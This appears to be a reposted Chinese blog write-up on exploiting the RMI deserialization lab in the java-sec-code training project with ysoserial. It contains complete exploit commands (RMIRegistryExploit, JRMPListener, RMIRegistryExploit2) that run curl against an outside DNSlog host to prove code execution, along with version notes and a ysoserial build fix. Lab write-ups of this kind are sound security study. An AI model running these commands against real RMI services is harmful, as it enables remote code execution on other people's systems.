java-sec-code中rmi

2023-12-23 01:46:17

java-sec-code中rmi
暂时没有搞懂原理,这里只说明利用方法
java-sec-code
作者给出的是使用ysoserial进行利用
测试环境搭建
docker环境下,1099端口默认不开启,这里使用idea运行org.joychou.RMI.Server即可
个人电脑java环境分为1.8.381 1.8.043 1.8.121
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
测试Java 1.8.121上下版本不同利用方式,使用https://dig.pm/作为dnslog平台

java1.8.043环境
poc

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit target_ip 1099  CommonsCollections1 "curl xxxx.ipv6.1433.eu.org/aaa"

在这里插入图片描述
dns平台有回显

java1.8.121

利用方式

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl d84d55bd53.ipv6.1433.eu.org/rmi'
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit2 192.168.2.3 1099 192.168.2.5 12345

当然了,这两个命令都运行ysoserial-0.0.6-SNAPSHOT-all.jar是没有问题的,区别只在于ysoserial-0.0.6-SNAPSHOT-all.jar是添加了RMIRegistryExploit2,重新打包的,而ysoserial-all.jarysoserial作者提供的原生jar包
在这里插入图片描述
java 1.8.381 利用不了 以目前的java版本来说,本人并没有找到相应的利用方法,可能只是图一乐呵

题外话

https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI
https://github.com/frohoff/ysoserial

编译ysoserial可能会失败,建议在vps上面打包,使用mvn clean package -DskipTests命令进行打包,
打包失败报错,如果显示是javax.interceptor-api:3.1失败的话,将pom.xml里面的version修改为1.2.2即可

<dependency>
			<groupId>javax.interceptor</groupId>
			<artifactId>javax.interceptor-api</artifactId>
			<version>1.2.2</version>
</dependency>

文章来源:https://blog.csdn.net/qq_54030686/article/details/135153515
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。